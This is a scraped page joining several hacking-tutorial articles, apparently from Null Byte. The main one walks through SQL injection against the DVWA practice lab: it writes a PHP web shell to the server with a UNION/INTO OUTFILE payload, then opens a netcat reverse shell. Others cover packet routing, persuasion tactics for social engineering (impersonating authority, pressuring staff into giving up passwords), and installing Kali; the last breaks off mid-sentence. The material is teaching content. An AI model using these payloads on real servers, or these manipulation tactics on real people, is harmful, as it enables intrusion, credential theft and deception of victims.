Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicensePhoto bybethkanterRelatedHow To:Wear pipa nails on your fingers to play a pipaHow To:Tie the decorative Pipa KnotHow To:Make Cuban Sopa de Platano (plantain soup)How To:Make Sopa de Fideo Mexican soupHow To:Make Sopa de Garbanzos (chickpea soup)How To:This $1,300 Ethical Hacking Bundle Is on Sale for $40 TodayHow To:Do a MMA takedown against the cage with UFC fighter Kurt PellegrinoNews:Bellator MMA Brian Rogers on Iconici Tv MMAHow To:Fight against Enderman in Minecraft 1.8How To:How to defeat Skeletron in TerrariaNews:Here's How Much Damage Samsung's Galaxy S7 Can TakeHow To:It's Now Against the Law to Unlock Your Mobile Phone—Here's How to Help Make It Legal Again! [UPDATED]How To:Defend against the ground and pound and stand up when against the cage in MMAHow To:Fight with a foam spear against an opponent who also has a spearHow To:Use a spear to fight against shieldmen in boffer larpsHow To:Fight back against hard water in your dishwasherHow To:Incorporate cancer-fighting foods into your dietHow To:Defend Yourself Against Multiple AttackersHow To:Use a collar choke from guard in an MMA fight against a fi wearing opponentNews:SOPA and PIPA Blackout!News:MPAA - ''SOPA Blackout's Are a Stunt...''How To:Access Wikipedia During Today's SOPA BlackoutNews:Stop Internet CensorshipNews:MegaUpload goes down - Anon retaliates.News:Maryland Rep. fights against TSAHow To:Understand The Process of InflammationThe Null Byte Call to Arms:A Special Message to the CommunityHow To:Understand the Way Our Immune System Fights Enemies Like a Modern ArmyHow To:Make a seafood sopa mariscadaNews:Operation Freakout 2News:Debate on Proposition 23 with Dorothy Rothrock and Terry TamminenNews:Santorum QuitsCISPA:What You Need to KnowNews:The Highwind (now Entered in for the weekly staff contest)News:Old couple in dance clubNews:Cumballoon FightNews:Duplex Poo Drop/Hot Sauce Tennis Ball FightNews:The Importance of Xavier BecerraHow To:Things to Do on WonderHowTo (04/25 - 05/01)News:Minecraft World's Weekly Workshop: Building a Redstone Sorting Machine
How to Use SQL Injection to Run OS Commands & Get a Shell « Null Byte :: WonderHowTo
One of the ultimate goals in hacking is the ability to obtain shells in order to run system commands andown a target or network. SQL injection is typically only associated with databases and their data, but it can actually be used as a vector to gain a command shell. As a lesson, we'll be exploiting a simple SQL injection flaw to execute commands and ultimately get areverse shell on the server.We will be usingDVWA, an intentionally vulnerablevirtual machine, andKali Linuxto carry out our attack. If you're new to Kali, we recommend you follow our guide ongetting Kali set up and secured, to make sure your system is ready for anything.SQL Injection OverviewSQL injectionis one of the most common vulnerabilities encountered on the web and can also be one of the most dangerous. Attackers can inject malicious SQL code in order to extract sensitive information, modify or destroy existing data, or escalate the attack in an attempt to own the server.There are many different types of SQL injection and different attack methods for the various database systems in use. Although this type of attack is one of the easiest to get started with, SQL injection can take years to truly master. Luckily, there is a lot of good information available tobegin down the path.Step 1: Target EnumerationThe first thing we need to do is log in to DVWA using the default credentials,adminas the username andpasswordas the password.Next, go to the "Security" tab on the left, and set the security level to "low." This will ensure our demonstration proceeds smoothly.Navigate to the "SQL Injection" page to begin our attack. We can see that the page's functionality is to take a user ID and return information, in this case, the first and last name.We want to verify that this input is actually vulnerable to SQL injection. The first thing to try is simply entering a single quotation mark, which will close the statement prematurely if this is indeed vulnerable. When we do this, we see that it returns an error, even telling us specifically that this is using MySQL as the database. At this point, it is very likely that we have found a vulnerable entry point.The next thing we need to do isenumerate the databaseand determine the number of columns in use. This will allow us to reliably exploit a union-based injection flaw in just a bit. To make this clearer, let's take a look at what the query would look like during normal submission of input:select first_name, surname from users where user_id='';This is likely what the query looks like on the backend, withfirst_nameandsurnamebeing the selected columns, for a total of two columns. But we need to know for sure in order for this to work. For that, we can use theorder byclause.This clause will sort the results of the query by columns. Since we are pretty sure that there are at least two columns in use, if we order by 1 or 2, the query should complete successfully. But what if we want to order by 3? If we are correct, then this query should throw an error.Submit the following injection as input, and it should result in an error. The pound sign is used here to comment out the rest of the query so that it doesn't throw any additional syntax errors.' order by 3 #We can see that we do get an error, so now we know for sure that only two columns are in use.Step 2: Shell Access & Command ExecutionNow that we have a little more information about the database, we can use this to our advantage to perform a union-based SQL injection. Theunionoperator is used in SQL to combine the results of two or moreselectstatements, but in order for it to work properly, the statements have to have the same number of columns. This is why we needed to enumerate the backend earlier.There are many things we can do with union-based injections, but in this tutorial, we are concerned with leveraging this flaw to runOS commands. One of the easiest ways to make this happen is toupload a simple PHP shellto pipe our commands through.We need to determine the root directory of the web server to upload our shell. Depending on the application and the type of web server in use, this can vary, especially if an admin changes the default location or adequate permissions are in place. For the purposes of this demo, we will assume that the default web root ofApache(/var/www/) is being used with public write permissions. Information about the web server, including the root directory, can usually be found in the "phpinfo.php" file.We can use theinto outfilecommand to write to a file. In this case, we will be inserting a simple PHPscript, which will be able to run system commands. The script, which we will aptly name "cmd.php," should look like this:<?php system($_GET["cmd"]); ?>Now, let's perform the injection. We will need to use double quotation marks in the script since we need to enclose the second part of the statement in single quotes — this will avoid syntax errors. The complete injection will look like this:' union select 1, '<?php system($_GET["cmd"]); ?>' into outfile '/var/www/dvwa/cmd.php' #If this worked properly, we should now be able to access our shell via URL and by supplying a system command as a parameter. For example,whoamiwill give us current user information.Oruname -a, which will give us information about the system.But supplying all these commands via URL parameter is sort of tedious. We can actually use this to obtain a reverse shell and take things a step further.Step 3: Reverse Shell with NetcatNetcatis a powerful networking utility used to troubleshoot connectivity issues, but it can actually be utilized by hackers as abackdoorand as a method to gain a shell. A lot of Linux distros have this utility installed by default, so if we can gain access, it's game over.We will first need to set up the listener on our local machine. Use thenccommand along with the flags-lvpto specify it to listen, to be verbose, and to set the port number, respectively.nc -lvp 1234 listening on [any] 1234 ...Next, as the parameter to our PHP shell in the URL, enter the following command. It tells the server to execute a shell (-e /bin/sh) and send it back to our local machine. Make sure to use the appropriate IP address and port.nc 172.16.1.100 1234 -e /bin/shGive it a few seconds, and we should see our listener catch the shell and open a connection. From here, we can run commands likeid,uname -a, andpsas we see fit.connect to [172.16.1.100] from (UNKNOWN) [172.16.1.102] 47643 id uid=33(www-data) gid=33(www-data) groups=33(www-data) uname -a Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux ps PID TTY TIME CMD 4665 ? 00:00:00 apache2 4669 ? 00:00:00 apache2 4671 ? 00:00:00 apache2 4673 ? 00:00:00 apache2 4674 ? 00:00:00 apache2 4803 ? 00:00:00 apache2 4810 ? 00:00:00 apache2 4914 ? 00:00:00 php 4915 ? 00:00:00 sh 4919 ? 00:00:00 psWe now have an adequate means to execute commands on the web server from the comfort of our own terminal, all of which came about from a simple SQL injection flaw.Wrapping UpIn this guide, we learned how to identify a vulnerable SQL injection point, enumerate the backend database, and use that information to upload a simple shell in order to run commands on the target system. From there, we escalated the attack further by utilizing Netcat to get a reverse shell, allowing us backdoor access to the web server. This just goes to show that with enough patience and creativity, along with a little luck, a hacker can take a simple flaw and turn it into something far greater and more powerful.Don't Miss:How to Use Netcat, the Swiss Army Knife of Hacking ToolsFollow Null Byte onTwitter,Flipboard, andYouTubeSign up forNull Byte's weekly newsletterFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image byNeuPaddy/Pixabay; Screenshots by drd_/Null ByteRelatedHow To:Use Command Injection to Pop a Reverse Shell on a Web ServerHow To:Compromise a Web Server & Upload Files to Check for Privilege Escalation, Part 1How to Hack Databases:Running CMD Commands from an Online MS SQL ServerSQL Injection 101:Database & SQL Basics Every Hacker Needs to KnowSQL Injection 101:How to Fingerprint Databases & Perform General Reconnaissance for a More Successful AttackHow To:SQL Injection! -- Detailed Introduction.SQL Injection 101:Advanced Techniques for Maximum ExploitationHow To:Enumerate MySQL Databases with MetasploitHow To:Use Commix to Automate Exploiting Command Injection Flaws in Web ApplicationsHack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPHacker Hurdles:DEP & ASLRBecome an Elite Hacker Part 4:Hacking a Website. [Part 1]SQL Injection 101:How to Avoid Detection & Bypass DefensesHow To:Use Metasploit's Web Delivery Script & Command Injection to Pop a ShellHow to Hack Databases:The Terms & Technologies You Need to Know Before Getting StartedHow To:Find & Exploit SUID Binaries with SUID3NUMSQL Injection 101:Common Defense Methods Hackers Should Be Aware OfHow To:Get Root Access on OS X Mavericks and YosemiteHow To:Use Meterpeter on OS XHow To:Reverse Shell Using PythonHow To:SQL Injection Finding Vulnerable Websites..How To:The Essential Newbie's Guide to SQL Injections and Manipulating Data in a MySQL DatabaseHow To:Spider Web Pages with Nmap for SQLi VulnerabilitiesGoogle Dorking:AmIDoinItRite?How To:Create a Reverse Shell to Remotely Execute Root Commands Over Any Open Port Using NetCat or BASHHow To:Push and Pull Remote Files Securely Over SSH with PipesHack Like a Pro:Hacking Samba on Ubuntu and Installing the MeterpreterGoodnight Byte:HackThisSite, Realistic 4 - Real Hacking SimulationsHow To:Safely Log In to Your SSH Account Without a PasswordIPsec Tools of the Trade:Don't Bring a Knife to a GunfightHow To:Create a Free SSH Account on Shellmix to Use as a Webhost & MoreHow To:Is Your Website Vulnerable to XSS Injections? Here's How to Protect Your VisitorsHow To:Protect Your PHP Website from SQL Injection Hacks
Hacker Fundamentals: The Everyman's Guide to How Network Packets Are Routed Across the Web « Null Byte :: WonderHowTo
In general, hacking and information security is not just one discipline, but a number of them, and today we will look into some of the networking concepts.In the lastHacker Fundamentals, we talked about theOSI modelas well as a little on TCP/IP and the protocols that make up the suite. Now, we're going to expand on that now and take a look at the various parts of a network that you might have heard about, but might not understand.We already covered how your data travels the OSI model, layer by layer, and talks with other machines on your local network. But how does that data leave your network? How does it know where to go? What's going on here?Much of the 'talking' on a local network are broadcasts. This computer is asking for the MAC address of another one, or asking for a local IP address, or any number of things. But doesn't that mean the Internet should be flooded with various broadcast noise all over the place? As it turns out, no. You see, the job of a router is not only to route traffic, but to stop broadcasts. To explain this concept fully, let's look into some examples.No routers were hurt in the writing of this article.A Tale of Two Packets: InternalIf you remember correctly, an IP address has two components, the network section and the host section. A subnet mask separates the IP address into those two segments (<network><host>). A subnet is expressed just like an IP address in a four octet form, the most common one being 255.255.255.0 where the '255' means those octets are describing the network and the '0' is describing the host.Let's say you wanted to send data to another computer on your local network at home. Your internal IP address in this example is172.10.1.20and your destination IP address is172.10.1.30. Also, let's assume your subnet mask is a standard255.255.255.0.The first thing that gets done is the computer looks at the address on the packet being sent. It then compares its address with the destination address. Notice the172.10.1.xis the same on both, and the subnet mask has filled octets in the same locations as well (255.255.255.0). This tells the computer that the destination is on the same network it is on. Your computer knows it is host '20' and it needs to reach host '30' and it doesn't need to go through a router to get there.Now your computer only needs to know the MAC address of host '30' to send this data on its way. If you recall the Media Access Control address is a physical layer function that addresses actual physical hardware on your computer. In a nutshell, it works like an IP address, only on your local network.ARP!To perform this feat, your computer sends out a broadcast message to everyone on the network called anARP, or Address Resolution Protocol. It's like your PC yelling "HELLO! I am looking for the computer172.10.1.30".Now each device on the network receives that message and looks at its own IP address in turn. The router (172.10.1.1) sees it is not the one being looked for and drops the message. Other computers on the network do the same thing until the computer that has the IP of172.10.1.30gets it, checks its address, and sees they match. It then replies back to the sending computer of172.10.1.20saying "HEY! That's me and my MAC address isAA00:BC33:3211".In the picture below, the MAC address is called an "Ethernet address", reflecting the fact that it's addressing for the physical layer. However, common lingo is "MAC address".Now the sending computer has the internal IP and MAC address of the receiving computer and can send its data over. But what happens if the two addresses are not on the same network?A Tale of Two Packets: ExternalWell, it's not as simple when we have to cross other networks, as there is a bit more going on behind the scenes, as you will see. Let's assume we are sending the same data as before and our source IP address is172.10.1.20and our destination IP address is192.168.0.100. You should immediately notice by the subnet mask of255.255.255.0that these two addresses are on separate networks. See, we are getting there.Just like in the first example, the sending computer looks at the destination address and compares it to its own. However, this time there is a problem—they don't match at all.Now it knows that it can't just send out an ARP message like before, because remember what happened in the last example, when the routers address didn't match the address being asked? It simply dropped the packet. This is how routers stop broadcasts from traveling the entire Internet. In fact, without this design, the Internet would be flooded with so many broadcast messages from the millions of connected devices that it would crash and fail.At this point, your computer knows an ARP just isn't going to cut it for the destination of192.168.0.100, so it broadcasts another ARP. But this time is looks for what's called thedefault gateway. This is a node, or a router, that acts as an entry or exit point to another network.Normally, when a computer cannot find a route for an IP address, it will send it along to the default gateway as a route of last resort. This is your modem/router at home. Your router will reply saying, "YO! I am the default gateway and my MAC address is xxxx:xxxx:xxxx!"Your computer then adds the routers MAC address as the destination MAC address to the packet, and sends it over to the router for safe travels.Route Me Baby!The router takes a look at the packet and knows the source IP came from its own network. But the destination is separate altogether. Because the destination is not the same as the router's own internal IP address, it knows the packet isnot for it, but needs to travelthroughit.The router then looks at its routing tables to find a way to get to the192.168.0.xnetwork. It leaves the source and destination IP address information inside the packet, and changes the new source MAC address to its own address and the destination MAC address to the next node deducted from the routing table.This process continues over and over with each router that picks up the packets looking at the addresses, seeing it's not for their network and passing it along until it reaches the final destination of192.168.0.100.That router will strip of the source and destination MAC addresses that allowed the packets to travel, and replace the source with its own. It then ARPs to find the MAC address of the server being looked for and uses the reply to add the final MAC address of that machine, then sends it along.In ClosingIsn't that amazing? When you check your email or browse the web, this is happening all of the time, hundreds and thousands of packets traveling 10-20+ routers to span the world... all in just a few seconds.When you are packet sniffing, you can grab this information midstream. Simply turn on Wireshark and watch and see how many packets zip around in a small amount of time.Questions about all this? Comments? If you've got some knowledge, you can pass it onto the community—we are always welcome to it! Start athread in our forum!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseImage byHowcdn,Leavcom,Ehow,NewScienceRelatedHow To:A Hitchhiker's Guide to the Internet: Today and Now, How It All ConnectsHow To:Create Packets from Scratch with Scapy for Scanning & DoSingHow To:The Essential Skills to Becoming a Master HackerMac for Hackers:How to Set Up a MacOS System for Wi-Fi Packet CapturingHow To:Break into the Lucrative World of Ethical Hacking with This Reasonably Priced Course BundleNews:How to Study for the White Hat Hacker Associate Certification (CWA)Hack Like a Pro:How to Conduct Active Reconnaissance on Your Target with hping3Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 2 (Network Forensics)How To:Packet sniff networks with the fundamentalsHack Like a Pro:Networking Basics for the Aspiring Hacker, Part 2 (TCP/IP)How To:Securely Sniff Wi-Fi Packets with SniffglueHow To:Become a HackerHack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 10 (Identifying Signatures of a Port Scan & DoS Attack)Hacker Fundamentals:A Tale of Two StandardsHow To:Crack Wi-Fi Passwords—For Beginners!How To:Identify Antivirus Software Installed on a Target's Windows 10 PCWhere Do I Start:Learn the FundamentalsHow To:Detect Script-Kiddie Wi-Fi Jamming with WiresharkHow To:Check if Your Wireless Network Adapter Supports Monitor Mode & Packet InjectionHow To:Use & Abuse the Address Resolution Protocol (ARP) to Locate Hosts on a NetworkNews:Anonymity, Darknets and Staying Out of Federal Custody, Part Two: Onions and DaggersTor vs. I2P:The Great Onion DebateHow To:A Hitchhiker's Guide to the Internet: A Brief History of How the Net Came to BeHow To:Spy on Your "Buddy's" Network Traffic: An Intro to Wireshark and the OSI ModelHow To:Networking Basics for the Aspiring HackerHow To:Spy on the Web Traffic for Any Computers on Your Network: An Intro to ARP PoisoningHow To:How Hackers Steal Your Internet & How to Defend Against ItNews:Anonymity Networks. Don't use one, use all of them!News:8 Wireshark Filters Every Wiretapper Uses to Spy on Web Conversations and Surfing HabitsHow To:Hack Anyone's Facebook, Twitter or YouTube Account with Your Android DeviceHow To:Use Wireshark to Steal Your Own Local PasswordsUDP Flooding:How to Kick a Local User Off the NetworkHow To:Get Free Wi-Fi from Hotels & MoreNews:Anonymity, Darknets and Staying Out of Federal Custody, Part Three: Hidden ServicesNews:Anonymity, Darknets and Staying Out of Federal Custody, Part Four: The Invisible InternetHow To:How The Internet Works
Social Engineering: How to Use Persuasion to Compromise a Human Target « Null Byte :: WonderHowTo
Social engineering makes headlines because human behavior is often the weakest link of even well-defended targets. Automated social engineering tools can help reclusive hackers touch these techniques, but the study of how to hack human interactions in person is often ignored. Today, we will examine how to use subtle, hard to detect persuasion techniques to compromise a human target.Social Engineering TodayWhere have all the great conmen gone? The clever ones who would get people excited about splitting a fake winning lottery ticket and then let the victim gleefully drive to an ATM to stuff cash in the thief's pocket?They haven't vanished, they've simply become a disruptive and unpredictable element in the growing ranks of hackers and techno-criminals. These threats may lack the technical computer skills of advanced persistent threat hackers or nation-states, but their knowledge of exploiting human behavior allows them to accomplish goals which, from a technical perspective, may otherwise be impossible.Don't Miss:The Ultimate Social Engineering HackHumans Are Cheaper to HackZero-day exploits and malware frameworks are the conventional weapons of the current cold cyberwar. These tools are bought and sold on the market for their predictable technological effects, yet skilled social engineers regularly buck this trend to produce stunning effects through knowledge of how human organizations work from a psychological perspective. While a pile of malware andzero-day exploits can cost you a lot of money, an attractive or persuasive personwith a USB stickcan accomplish the same result quickly and cheaply.While a hacker might see a security guard as an obstacle, a social engineer sees employees like these as their primary targets.Image by 36clicks/123RFHuman hacking is an evolving art, but people as a whole can be persuaded to act in largely predictable ways. These predictabilities vary by culture and region to some degree, but will almost always apply. In our advanced social engineering series, we'll cover using persuasion, power, identity, and stress to increase the likelihood of a successful social engineering attack.Also Check Out:Use Social Engineering to Find Out More Information About a CompanyMany of these techniques weredeveloped by the US government to replace torture after the CIA banned the practice.The intelligence community asked leading scientists to help develop a framework for getting information from a target that may not trust you or actively hate your guts. The techniques are so powerful that persuasive people can change a target's perspective of themselves, their own position in life, or the significance of the data and access they possess. Skillful persuasion is aimed to lead the target to feel as though they have come to these conclusions independently.The extent to which any of these techniques will work varies depending on several factors, including the target's willingness and ability to consider perspectives other than their own, their intellectual capacity and curiosity, and the range of beliefs they were exposed to as a child. You may also consider external factors which can persuade and influence the target, such as family, friends, and business partners which might influence their perception.The Persuasive FrameworkThe persuasive framework is a set of core principals that can be applied to developing social engineering tactics that are subtle, powerful, and hard to detect when used correctly. Each can be applied to persuade a target to behave in relatively automatic ways — without much thought on their part.1. Becoming LikableHow many times have you done a small favor for someone you like? Whether it's getting the door or requesting the Wi-Fi password, people like to say "yes" to people they like. We respond automatically to people we like, and "liking" can be broken down into a few key attributes that people respond to:Physical attraction is a powerful factor that people are hard-wired to respond to, and many people are particularly susceptible to this honeypot approach.In general, people like people who are similar to themselves or have attributes or beliefs in common. Determining cross-cutting identities can be key to positioning yourself as someone similar to the target.Social style, such as the way in which a target talks and conducts themselves in public, can also be mirrored to appear more likable to a target.Through research of a person's interests and social contacts, a social engineer can create an association with something or someone the target already knows and values. Giving convincingly authentic praise and compliments, when appropriate, will also sway a target towards liking a social engineer.2. Commanding AuthorityTo some degree, nearly all societies will include a pressure to obey, or at least listen to, an authority figure. Whether it's a police officer, doctor, lawyer, government official, or ticket-collector, we are all expected to take these people's requests more seriously. In the context of social engineering, it pays to be an authority!People's respect for authority can be exploited by taking on roles like "doctor," "specialist," or "CEO." Pretending to be in a position of power that might be advantageous to the target may get them to bend the rules to please you, or to avoid upsetting you.Authority figures present a window of opportunity, as people respond unconsciously to authority.Image by Elvert Barnes/FlickrPeople also derive context from appearance and the way others treat you. A business suit and official-looking work badge can be enough to make employees suddenly stop texting, worried you're someone important they haven't met yet. In taking on the role of an authority figure, it's important to consider characteristics such as speech, writing, and other physical aspects like grooming and clothing to match who you say you are. A security guard and a visiting executive can both boss around a new employee, but both dress and act differently. Match your role!3. Using ReciprocityFeeling the need to return favors is nearly universal and can be used as a tactic to lure people into doing something they otherwise wouldn't consider. We all love getting free stuff, but the pressure to reciprocate naturally drives us to want to do something in return.People are hard wired to want to balance social relationships and will respond to this feeling of indebtedness, even if the person doing the giving isn't otherwise very likable. Utilizing reciprocity can be very effective as it is more of a feeling of imbalance that will pressure the target to reciprocate, rather than a conscious thought process or deliberation.Even when the initial gift or offering is small or relatively insignificant,studies showthat people are driven to reciprocate even when the request is much larger or more significant than what was initially given. This effect is so powerful it even applies to uninvited gestures, provided the gift or favor provides some real value.4. Taking Advantage of Commitments & ConsistencyPsychology teaches us that the more committed someone is to an idea or opinion, the more important it is to them to appear consistent in what they do, say, and believe. All people share this desire to some degree or another, as failing to can make one appear inconsistent or untrustworthy.Don't Miss:How to Get People to Trust You with Their SecretsThis hardwiring can be exploited by leading a target to take an initial position consistent with your desired outcome. Con people frequently do this to pressure people into making a decision they would otherwise never do if they weren't feeling defensive. Carefully study a target to understand what issues it is personally important for them to be consistent on, such as religious beliefs, professionalism, or social causes.The desire to appear consistent is powerful and even can cause a target to act against their own best interests. People have a notoriously hard time backing down from a position once stated out loud. Guiding a target to state a position or belief can apply intense internal pressure to live up to that statement later.Some social engineers are naturally skilled at getting people to initially say or commit to things that are stupid or hasty. They subsequently challenge the target to live up to their own statements, both to distract or pressure them into doing something they would otherwise refuse to do.5. Using Social ValidationWhen people don't know what to do, they look to their peers to feel comfortable. Whether it's a business owner trying a new product, a person checking Amazon reviews before making a purchase, or skimming through Yelp reviews before visiting a restaurant, the core need for social validation is hardwired into us.In new situations, people look to the behaviors of others to understand how to act and what to do. In particular, people pay special attention to the behavior of those who are the most similar to themselves (or how they see themselves). Many small businesses will make purchases simply because their competitors use the same product and assume that the product has earned the trust of their peers.If you can create a situation where the appropriate behavior is impossible or difficult to determine, you create the opportunity to employ this tactic though peer validation.People feel uneasy in unfamiliar situations, and they will tend to assume others around them know more about the situation than themselves. Because of this, a target will often take any information provided at face value, allowing the target to be persuaded to take actions they might otherwise not feel comfortable taking. Even otherwise cautious or skeptical people can be convinced to do things like give their credit card number, password, or other sensitive information if they see peers exhibiting the same behavior as though it were expected.What if I told you that flustering this nice lady into giving you the password is a lot easier than cracking it?Image by 36clicks/123RFSocial proof works best when a target is put in an uncertain environment and is presented with examples of behavior from people who appear similar to themselves. Casually mentioning examples of peers or similar organizations behaving the way we wish to persuade the target to behave can lower any resistance to taking an action they otherwise might hesitate to do.6. Scarcity & DeadlinesResources are finite, and we all hate the feeling of a deal slipping through our fingers. Limited time offers, limited availability, and rare items grab attention because humans are hardwired to prize items that are scarce or hard to find. This effect is greatly amplified when someone has something scarce or valuable (or feels like they were going to receive it) and then loses it. The scarcity of an item that is desirable will invoke a feeling of craving for the item in question, and this can be enhanced by using tactics like deadlines to create artificial pressure.This tactic works best when something becomes newly scarce, particularly when it involves something the target is used to receiving. Implying there is a limited amount, only enough for a few people, or only availability for a certain window of time is a tried and true method of making people commit to things they don't want to for fear of losing out. While this tactic has been around for a long time, scarcity still makes the human mind scramble to get their share of whatever valuable thing they fear may become unavailable.Putting It Together to Create Persuasive PressureHumans are as hackable as any system, and these frameworks of persuasion can help you begin to utilize exploits in human behavior to bypass technical hurdles. Securing the cooperation of a target through social engineering can slash time and resources required to complete an objective, and a good red team knows that humans are always the weakest part of a system.Stay tuned for my next tutorial on the persuasive framework — identifying core concerns and how to exploit them — and make sure to keep an eye on Null Byte for more hacking tutorials. You can ask me questions here or @sadmin2001 onTwitterorInstagram.Follow Null Byte onTwitterandGoogle+Follow WonderHowTo onFacebook,Twitter,Pinterest, andGoogle+Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo by SADMIN/Null ByteRelatedHow To:Use Social Engineering to Hack ComputersHack Like a Pro:The Ultimate Social Engineering HackHow To:Hack Your Neighbor with a Post-It Note, Part 1 (Performing Recon)How To:Learn the Secrets of PsychologyHack Like a Pro:How to Spear Phish with the Social Engineering Toolkit (SET) in BackTrackNews:White House Hacked by Russian Hackers!Hack Like a Pro:How to Pivot from the Victim System to Own Every Computer on the NetworkHow To:The Ultimate Guide to Hacking macOSHow To:Use "SET", the Social-Engineer ToolkitHow To:Social Engineering - Total GuideHow To:How Hackers Stole Your Credit Card Data in the Cyber Attack on Target StoresHow To:The Number One Way to Persuade Anyone to Do Practically Anything You WantHacking macOS:How to Perform Privilege Escalation, Part 2 (Password Phishing)Social Engineering:The Most Powerful HackHow to Hack Wi-Fi:Get Anyone's Wi-Fi Password Without Cracking Using WifiphisherHow to Hack Wi-Fi:Capturing WPA Passwords by Targeting Users with a Fluxion AttackNews:How to Study for the White Hat Hacker Associate Certification (CWA)Social Engineering, Part 1:Scoring a Free Cell PhoneListen In:Live Social Engineering Phone Calls with Professional Social Engineers (Final Session)Listen In:Live Social Engineering Phone Calls with Professional Social Engineers (Week 2)Listen In:Live Social Engineering Phone Calls with Professional Social EngineersHow To:Score Free Game Product Keys with Social EngineeringNews:Live Social EngineeringHow To:Proof of Social Engineering Success!Weekend Homework:How to Become a Null Byte Contributor (2/17/2012)How To:9 Ways to Get People to Do What You WantHow To:Social Engineer Your Way Into an Amusement Park for FreeSocial Engineering:The BasicsSocial Engineering, Part 2:Hacking a Friend's Facebook PasswordNews:Google social web engineer Joseph Smarr talks about lessons from Google+News:Homeland Security is watching YOUHow To:recognize Crowd Control - Part 1Drive-By Hacking:How to Root a Windows Box by Walking Past ItNews:Social Hacking and Protecting Yourself from Prying EyesHow To:Advanced Social Engineering, Part 1: Exact Revenge on Craigslist Scammers with Tabnab Phishing
How to Get Started with Kali Linux (2014 Version) « Null Byte :: WonderHowTo
Welcome back, my apprentice hackers!As many of you know, I have been hesitant to adopt the newKalihacking system from Offensive Security. This hesitancy has been based upon a number of bugs in the original release back in March of 2013 and my belief thatBackTrackwas easier for the novice to work with.In recent days, Office Security hasdiscontinuedthe downloads of BackTrack (although it is still available from many torrent sites), and the release ofKali 1.0.6in January of 2014 repaired many of the known bugs, so I am now converting to Kali!Update:How to Get Started with Kali Linux (2020 Version)The Differences Between Kali & BackTrackThose of you who are using BackTrack, don't worry, things are very similar. Some tools are in different places, but in general, Kali is very similar to BackTrack. One of the first things you may notice different about Kali is that it is built on Debian Linux instead of Ubuntu Linux. This won't create dramatic differences, but some subtle ones.One of the reasons that the folks at Offensive Security gave for converting from Ubuntu to Debian is that they are not comfortable with the direction that Ubuntu is going. BackTrack was built on Ubuntu 10.04 and that Ubuntu release was scheduled for non-support. That would have left BackTrack without an Ubuntu release they were both comfortable with and had support.The transition from Ubuntu to Debian should not be difficult as Ubuntu began as a fork of Debian and share many of the same features and conventions.The Advantages of Using Kali Over BackTrackSome of the advantages of using Kali include the following.The GNOME interface, if you are familiar with it.Some new tools.Updates on some old tools such as Metasploit, p0f, etc.Continuity into the future as Ubuntu pursues its own agenda that is inconsistent with hacking and security.You can now invoke any tool from any directory as all tool directories are in the PATH variable.We now have a build specifically designed for the ARM architecture.Now that you know the basic information, let's get started using it.Step 1: Download & Burn KaliFirst navigate tokali.org; you should see a page like this:Now, let's click on the tab at the top that says "Downloads" and you should be greeted with a screen similar to this.As you can see, you have a choice of 64-bit, 32-bit, ARMEL, or ARMEH.For most of you with a 64-bit OS and 64-bit processor, you will want to download the 64-bit ISO. If you are not sure, download the 32-bit, it will run on either a 32-bit or 64-bit system.The other two options are for the ARM processors that are in such devices as smartphones and tablets. We will be working with those in a later tutorial (think of the possibilities...hacking from a smartphone, tablet, and even a Raspberry Pi).Make certain that you have about 3 GB of available hard drive space as these downloads are about 2.9 GB each.Once you have downloaded Kali (it takes an hour or two depending upon your connection speed), burn it to a DVD. If you need help burning an ISO to a DVD, check out Step 2 in mypast guide on installing BackTrack. It's the same process.Step 2: Install KaliInstalling Kali is similar toinstalling BackTrack. For our purposes here, I would recommend installing into a virtual machine (VM). In that way, you can practice hacking between systems all on your box and evade breaking any laws and being separated from your computer for a few years.Probably the two best virtualization systems are VMWare'sWorkstationand Oracle'sVirtual Box. I use both and I have to give the nod to Workstation as easier to use and more glitch-free, but since Oracle bought Sun Microsystems a few years ago (and its Virtual Box), Virtual Box has been getting better and better.A big difference between the two is price. VMWare's Workstaion is about $180 and Oracle's Virtual Box is free. Can't beat that price!Remember,like BackTrack, you can log in as "root" with a password of "toor". Then, type "startx" to start the X-Windows system.The Disadvantages of Using a VMThere are three primary disadvantages of using a VM. First, resource usage. Running a VM requires additional RAM to run well. It will run in 4 GB, but slowly. I recommend 8 GB as a minimum.Second, to do wireless hacking from a VM, you will need anexternal wireless card. In reality, to do effective wireless hacking, you will need anaircrack-ng-compatiblewireless card, so if you choose the VM route, make certain to buy an aircrack-ng compatible wireless card.Third, the virtualization system adds an additional level of complexity that can prove daunting to the beginner.If Not Using a VM, Dual Boot InsteadThe other option is to install it as adual boot system. To do so, first, change the boot sequence on your system to boot first from your DVD/CD drive. Then, you can simply boot Kali from the DVD you burned from the ISO image you downloaded.Once it boots, you then click on the install Kali icon in the upper left-hand corner. The install wizard will walk you through the steps to partition your hard 